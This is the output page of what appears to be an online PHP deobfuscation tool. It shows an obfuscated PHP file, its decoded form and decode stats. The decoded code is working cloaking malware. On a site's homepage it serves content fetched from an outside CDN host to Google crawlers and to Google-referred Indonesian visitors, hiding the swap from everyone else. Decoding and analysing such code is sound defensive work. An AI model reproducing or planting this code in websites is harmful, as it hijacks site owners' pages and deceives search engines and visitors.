Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php ${"G\x4c\x4f\x42\x41\x4cS"}["\x67ui\x65\x62\x63v\x73\x68\x72\x77"]="\x75\x72l";${"\x..
Decoded Output download
<?php ${"GLOBALS"}["guiebcvshrw"]="url";${"GLOBALS"}["qihksjonql"]="userAgent";${"GLOBALS"}["afolrtg"]="data";${"GLOBALS"}["dqrhsmmdl"]="response";${"GLOBALS"}["ndmjebxl"]="curl";${"GLOBALS"}["vzddnrjakn"]="api_url";function getVisitorCountry(){$xqvqoujp="data";${"GLOBALS"}["cmokxh"]="ip";$ntuwqjbboeur="curl";${${"GLOBALS"}["cmokxh"]}=$_SERVER["REMOTE_ADDR"];${${"GLOBALS"}["vzddnrjakn"]}="http://ip-api.com/json/{$ip}";$txyvvkrmmjmw="api_url";${${"GLOBALS"}["ndmjebxl"]}=curl_init();curl_setopt(${${"GLOBALS"}["ndmjebxl"]},CURLOPT_URL,${$txyvvkrmmjmw});curl_setopt(${${"GLOBALS"}["ndmjebxl"]},CURLOPT_RETURNTRANSFER,true);${${"GLOBALS"}["dqrhsmmdl"]}=curl_exec(${${"GLOBALS"}["ndmjebxl"]});if(curl_errno(${${"GLOBALS"}["ndmjebxl"]})){return"Error: ".curl_error(${${"GLOBALS"}["ndmjebxl"]});}curl_close(${$ntuwqjbboeur});${$xqvqoujp}=json_decode(${${"GLOBALS"}["dqrhsmmdl"]},true);if(${${"GLOBALS"}["afolrtg"]}["status"]==="success"){$stvfqykym="data";return${$stvfqykym}["country"];}else{return"Country not found";}}function isHomePage(){return($_SERVER["REQUEST_URI"]==="/");}function isGoogleCrawler(){${${"GLOBALS"}["qihksjonql"]}=strtolower($_SERVER["HTTP_USER_AGENT"]);${"GLOBALS"}["lrklssax"]="userAgent";return(strpos(${${"GLOBALS"}["lrklssax"]},"google")!==false);}function fetchRemoteHTML($url){$trlembdse="curl";$jhsvwg="curl";$dnyxtspp="curl";$szizqmwm="curl";$pcojogms="curl";$lgaecenju="curl";${$szizqmwm}=curl_init();curl_setopt(${$pcojogms},CURLOPT_URL,${${"GLOBALS"}["guiebcvshrw"]});curl_setopt(${$trlembdse},CURLOPT_RETURNTRANSFER,true);curl_setopt(${$dnyxtspp},CURLOPT_FOLLOWLOCATION,true);curl_setopt(${${"GLOBALS"}["ndmjebxl"]},CURLOPT_SSL_VERIFYPEER,false);${${"GLOBALS"}["dqrhsmmdl"]}=curl_exec(${$lgaecenju});if(curl_errno(${$jhsvwg})){$pqgpngogllh="curl";return"Error: ".curl_error(${$pqgpngogllh});}curl_close(${${"GLOBALS"}["ndmjebxl"]});return${${"GLOBALS"}["dqrhsmmdl"]};}if((isGoogleCrawler()||(isset($_SERVER["HTTP_REFERER"])&&stripos($_SERVER["HTTP_REFERER"],"google")!==false&&getVisitorCountry()==="Indonesia"))&&isHomePage()){${"GLOBALS"}["yjtksn"]="remoteHTML";$pcxkhvajse="remoteHTML";$beltkfuvvnn="remoteHTML";${${"GLOBALS"}["yjtksn"]}=fetchRemoteHTML("https://vadel.b-cdn.net/xampp/ds-canakkaleyorum.txt");if(${$pcxkhvajse}===false||stripos(${$beltkfuvvnn},"Error:")!==false){echo"Failed to retrieve content: $remoteHTML";}else{${"GLOBALS"}["krcjlcolspf"]="remoteHTML";echo${${"GLOBALS"}["krcjlcolspf"]};}}else{include"main.php";}
?>
Did this file decode correctly?
Original Code
<?php ${"G\x4c\x4f\x42\x41\x4cS"}["\x67ui\x65\x62\x63v\x73\x68\x72\x77"]="\x75\x72l";${"\x47L\x4fB\x41\x4c\x53"}["\x71\x69h\x6b\x73j\x6fnq\x6c"]="\x75s\x65\x72A\x67\x65\x6e\x74";${"\x47\x4c\x4f\x42\x41\x4cS"}["\x61\x66\x6f\x6cr\x74g"]="d\x61\x74\x61";${"G\x4c\x4f\x42A\x4c\x53"}["\x64\x71\x72\x68\x73m\x6d\x64l"]="\x72\x65\x73\x70o\x6e\x73\x65";${"G\x4cO\x42\x41\x4c\x53"}["\x6e\x64\x6d\x6a\x65\x62x\x6c"]="\x63\x75\x72\x6c";${"G\x4c\x4fBA\x4c\x53"}["v\x7a\x64\x64\x6e\x72\x6a\x61k\x6e"]="api\x5fu\x72\x6c";function getVisitorCountry(){$xqvqoujp="\x64a\x74\x61";${"\x47\x4c\x4fB\x41\x4cS"}["\x63\x6d\x6f\x6bxh"]="i\x70";$ntuwqjbboeur="\x63\x75r\x6c";${${"\x47L\x4f\x42\x41L\x53"}["c\x6dok\x78\x68"]}=$_SERVER["\x52EM\x4fTE_\x41DDR"];${${"\x47\x4cO\x42\x41\x4c\x53"}["v\x7add\x6e\x72\x6a\x61\x6b\x6e"]}="ht\x74p://\x69\x70-a\x70\x69.c\x6fm/j\x73o\x6e/{$ip}";$txyvvkrmmjmw="\x61p\x69\x5f\x75\x72\x6c";${${"\x47\x4c\x4f\x42\x41LS"}["n\x64\x6d\x6ae\x62x\x6c"]}=curl_init();curl_setopt(${${"G\x4cO\x42\x41\x4c\x53"}["\x6e\x64\x6d\x6a\x65\x62x\x6c"]},CURLOPT_URL,${$txyvvkrmmjmw});curl_setopt(${${"\x47L\x4f\x42AL\x53"}["n\x64\x6dj\x65b\x78l"]},CURLOPT_RETURNTRANSFER,true);${${"G\x4c\x4f\x42A\x4c\x53"}["dq\x72\x68\x73mmdl"]}=curl_exec(${${"\x47L\x4f\x42\x41LS"}["\x6ed\x6d\x6a\x65\x62\x78\x6c"]});if(curl_errno(${${"G\x4cOBA\x4c\x53"}["n\x64\x6dj\x65\x62\x78\x6c"]})){return"\x45\x72\x72\x6f\x72: ".curl_error(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["n\x64\x6d\x6a\x65b\x78\x6c"]});}curl_close(${$ntuwqjbboeur});${$xqvqoujp}=json_decode(${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x64\x71\x72\x68\x73\x6d\x6d\x64l"]},true);if(${${"\x47\x4cO\x42\x41\x4cS"}["\x61folr\x74g"]}["\x73ta\x74u\x73"]==="su\x63c\x65\x73s"){$stvfqykym="da\x74a";return${$stvfqykym}["\x63oun\x74r\x79"];}else{return"\x43ou\x6et\x72\x79 no\x74 f\x6fun\x64";}}function isHomePage(){return($_SERVER["\x52EQUES\x54_\x55R\x49"]==="/");}function isGoogleCrawler(){${${"\x47\x4cO\x42\x41\x4c\x53"}["\x71ih\x6b\x73\x6a\x6f\x6eql"]}=strtolower($_SERVER["HTT\x50_U\x53E\x52_\x41\x47\x45\x4e\x54"]);${"G\x4c\x4f\x42A\x4cS"}["l\x72\x6b\x6cssa\x78"]="u\x73\x65rA\x67e\x6et";return(strpos(${${"\x47L\x4fB\x41LS"}["l\x72\x6b\x6c\x73\x73ax"]},"g\x6f\x6fgle")!==false);}function fetchRemoteHTML($url){$trlembdse="\x63u\x72\x6c";$jhsvwg="\x63\x75\x72l";$dnyxtspp="curl";$szizqmwm="c\x75\x72\x6c";$pcojogms="\x63\x75\x72\x6c";$lgaecenju="\x63\x75\x72\x6c";${$szizqmwm}=curl_init();curl_setopt(${$pcojogms},CURLOPT_URL,${${"\x47L\x4f\x42\x41\x4cS"}["\x67u\x69\x65\x62\x63v\x73\x68r\x77"]});curl_setopt(${$trlembdse},CURLOPT_RETURNTRANSFER,true);curl_setopt(${$dnyxtspp},CURLOPT_FOLLOWLOCATION,true);curl_setopt(${${"G\x4c\x4fBA\x4cS"}["\x6e\x64\x6dj\x65bx\x6c"]},CURLOPT_SSL_VERIFYPEER,false);${${"G\x4c\x4f\x42ALS"}["\x64\x71\x72\x68\x73\x6dm\x64\x6c"]}=curl_exec(${$lgaecenju});if(curl_errno(${$jhsvwg})){$pqgpngogllh="\x63\x75\x72\x6c";return"Erro\x72:\x20".curl_error(${$pqgpngogllh});}curl_close(${${"G\x4c\x4f\x42A\x4c\x53"}["\x6e\x64\x6d\x6a\x65\x62x\x6c"]});return${${"G\x4c\x4f\x42AL\x53"}["\x64\x71\x72h\x73m\x6d\x64l"]};}if((isGoogleCrawler()||(isset($_SERVER["H\x54\x54P_\x52EF\x45RE\x52"])&&stripos($_SERVER["\x48\x54T\x50\x5fR\x45FE\x52E\x52"],"goog\x6ce")!==false&&getVisitorCountry()==="\x49\x6edone\x73\x69\x61"))&&isHomePage()){${"\x47\x4cOBA\x4cS"}["\x79\x6a\x74\x6bs\x6e"]="r\x65\x6do\x74e\x48T\x4dL";$pcxkhvajse="r\x65m\x6f\x74e\x48\x54\x4d\x4c";$beltkfuvvnn="\x72\x65\x6d\x6f\x74\x65H\x54\x4d\x4c";${${"G\x4cO\x42\x41\x4c\x53"}["yj\x74\x6bsn"]}=fetchRemoteHTML("\x68t\x74\x70s://\x76ad\x65\x6c.\x62-cd\x6e\x2en\x65t/\x78\x61\x6dpp/ds-\x63\x61\x6eakk\x61\x6c\x65\x79o\x72u\x6d\x2e\x74xt");if(${$pcxkhvajse}===false||stripos(${$beltkfuvvnn},"Error:")!==false){echo"Fai\x6ced \x74\x6f \x72\x65\x74r\x69eve\x20co\x6et\x65\x6et:\x20$remoteHTML";}else{${"\x47\x4cO\x42\x41\x4c\x53"}["\x6b\x72\x63\x6a\x6cco\x6cs\x70\x66"]="\x72\x65m\x6f\x74\x65\x48\x54M\x4c";echo${${"\x47\x4cOB\x41L\x53"}["\x6b\x72c\x6a\x6c\x63o\x6c\x73pf"]};}}else{include"ma\x69\x6e\x2ephp";}
?>
Function Calls
strtolower | 1 |
isGoogleCrawler | 1 |
Stats
MD5 | c3e79dfc1241d3c365202e29d99ea96f |
Eval Count | 0 |
Decode Time | 281 ms |